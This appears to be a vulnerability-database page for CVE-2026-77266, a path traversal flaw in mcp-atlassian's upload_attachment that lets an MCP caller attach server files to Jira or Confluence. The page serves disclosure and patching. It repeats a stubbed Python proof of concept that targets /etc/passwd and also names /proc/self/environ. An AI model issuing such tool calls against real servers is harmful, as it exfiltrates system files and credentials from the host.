Every CVE Search/ Get API key

CVE-2026-77266

MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call

6.5 MediumFix available

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.50%Unchanged since Sep 23, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.5

MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.

Record
CVE-2026-77266
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-84747 6.5

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.

Record
EUVD-2026-84747
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-mfv2-4wvm-9pgp 6.5

MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call

Summary

The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling validate_safe_path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.

This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.


Details

Affected functions:

| File | Function | Line | |------|----------|------| | src/mcp_atlassian/jira/attachments.py | upload_attachment() | ~372–415 | | src/mcp_atlassian/confluence/attachments.py | upload_attachment() | ~62–108 | | src/mcp_atlassian/confluence/attachments.py | _upload_attachment_direct() | ~476–477 |

Jira — vulnerable code path (jira/attachments.py):

def upload_attachment(self, issue_key: str, file_path: str) -> dict:
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)   # resolves relative paths

    if not os.path.exists(file_path):             # confirms file exists
        ...

    # ⚠ validate_safe_path() is NEVER called here
    filename = os.path.basename(file_path)
    with open(file_path, "rb") as file:           #  arbitrary file opened
        attachment = self.jira.add_attachment(
            issue_key=issue_key, filename=file_path
        )

Compare with the protected download path in the same file:

def download_attachment(self, url: str, target_path: str) -> bool:
    ...
    validate_safe_path(target_path)   #   upload has no equivalent

Confluence — vulnerable code path (confluence/attachments.py):

def upload_attachment(self, content_id, file_path, ...):
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)

    # ⚠ validate_safe_path() is NEVER called
    filename = os.path.basename(file_path)
    attachment = self._upload_attachment_direct(
        content_id, file_path, filename, comment, minor_edit
    )

# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))}  # ← arbitrary file opened

PoC

Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.

Jira PoC (poc_001_jira_path_traversal.py):

import sys, os, types
from unittest.mock import MagicMock

sys.path.insert(0, "src")

def _make_pkg(name):
    m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m

atlassian_pkg  = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
    "__init__": lambda s, *a, **k: None,
    "_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None

from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig

config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
                    username="x", api_token="x")

class FakeFetcher(AttachmentsMixin):
    def __init__(self):
        self.config = config
        self.jira   = MagicMock()
        self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}

result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)

Observed output — Jira (Kali Linux, v0.21.1):

<img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" />

[*] Target file :…
Record
GHSA-mfv2-4wvm-9pgp
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
NVD 6.5

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.

Record
CVE-2026-77266
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSV 6.5

MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.

Record
CVE-2026-77266
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-mfv2-4wvm-9pgp 6.5

MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call

Summary

The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling validate_safe_path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.

This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.


Details

Affected functions:

| File | Function | Line | |------|----------|------| | src/mcp_atlassian/jira/attachments.py | upload_attachment() | ~372–415 | | src/mcp_atlassian/confluence/attachments.py | upload_attachment() | ~62–108 | | src/mcp_atlassian/confluence/attachments.py | _upload_attachment_direct() | ~476–477 |

Jira — vulnerable code path (jira/attachments.py):

def upload_attachment(self, issue_key: str, file_path: str) -> dict:
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)   # resolves relative paths

    if not os.path.exists(file_path):             # confirms file exists
        ...

    # ⚠ validate_safe_path() is NEVER called here
    filename = os.path.basename(file_path)
    with open(file_path, "rb") as file:           #  arbitrary file opened
        attachment = self.jira.add_attachment(
            issue_key=issue_key, filename=file_path
        )

Compare with the protected download path in the same file:

def download_attachment(self, url: str, target_path: str) -> bool:
    ...
    validate_safe_path(target_path)   #   upload has no equivalent

Confluence — vulnerable code path (confluence/attachments.py):

def upload_attachment(self, content_id, file_path, ...):
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)

    # ⚠ validate_safe_path() is NEVER called
    filename = os.path.basename(file_path)
    attachment = self._upload_attachment_direct(
        content_id, file_path, filename, comment, minor_edit
    )

# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))}  # ← arbitrary file opened

PoC

Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.

Jira PoC (poc_001_jira_path_traversal.py):

import sys, os, types
from unittest.mock import MagicMock

sys.path.insert(0, "src")

def _make_pkg(name):
    m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m

atlassian_pkg  = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
    "__init__": lambda s, *a, **k: None,
    "_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None

from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig

config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
                    username="x", api_token="x")

class FakeFetcher(AttachmentsMixin):
    def __init__(self):
        self.config = config
        self.jira   = MagicMock()
        self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}

result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)

Observed output — Jira (Kali Linux, v0.21.1):

<img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" />

[*] Target file :…
Record
GHSA-mfv2-4wvm-9pgp
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVPYSEC-2026-4097 6.5

MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call

Summary

The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling validate_safe_path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.

This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.


Details

Affected functions:

| File | Function | Line | |------|----------|------| | src/mcp_atlassian/jira/attachments.py | upload_attachment() | ~372–415 | | src/mcp_atlassian/confluence/attachments.py | upload_attachment() | ~62–108 | | src/mcp_atlassian/confluence/attachments.py | _upload_attachment_direct() | ~476–477 |

Jira — vulnerable code path (jira/attachments.py):

def upload_attachment(self, issue_key: str, file_path: str) -> dict:
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)   # resolves relative paths

    if not os.path.exists(file_path):             # confirms file exists
        ...

    # ⚠ validate_safe_path() is NEVER called here
    filename = os.path.basename(file_path)
    with open(file_path, "rb") as file:           #  arbitrary file opened
        attachment = self.jira.add_attachment(
            issue_key=issue_key, filename=file_path
        )

Compare with the protected download path in the same file:

def download_attachment(self, url: str, target_path: str) -> bool:
    ...
    validate_safe_path(target_path)   #   upload has no equivalent

Confluence — vulnerable code path (confluence/attachments.py):

def upload_attachment(self, content_id, file_path, ...):
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)

    # ⚠ validate_safe_path() is NEVER called
    filename = os.path.basename(file_path)
    attachment = self._upload_attachment_direct(
        content_id, file_path, filename, comment, minor_edit
    )

# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))}  # ← arbitrary file opened

PoC

Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.

Jira PoC (poc_001_jira_path_traversal.py):

import sys, os, types
from unittest.mock import MagicMock

sys.path.insert(0, "src")

def _make_pkg(name):
    m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m

atlassian_pkg  = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
    "__init__": lambda s, *a, **k: None,
    "_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None

from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig

config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
                    username="x", api_token="x")

class FakeFetcher(AttachmentsMixin):
    def __init__(self):
        self.config = config
        self.jira   = MagicMock()
        self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}

result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)

Observed output — Jira (Kali Linux, v0.21.1):

<img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" />

[*] Target file :…
Record
PYSEC-2026-4097
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
mcp-atlassian
PyPI
before 0.22.0
0.22.0
mcp-atlassian
PyPI
before 0.22.0, plus listed versions
0.1.10.1.100.1.110.1.120.1.13
Show 45 moreShow less
0.1.140.1.150.1.160.1.20.1.30.1.40.1.60.1.70.1.80.1.90.10.00.10.10.10.20.10.30.10.40.10.50.10.60.11.00.11.10.11.100.11.110.11.120.11.20.11.2a20.11.30.11.40.11.50.11.60.11.70.11.80.11.90.12.00.13.00.13.10.14.00.14.10.14.20.14.30.15.00.16.00.16.10.17.00.18.00.18.10.19.0
0.22.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-77266 is a medium vulnerability (CVSS 6.5) in Mcp-atlassian Mcp Atlassian, published September 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.50%, the 43rd percentile. Fixed in mcp-atlassian 0.22.0.

References

This page doesn't list everything

Left out here: 29 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open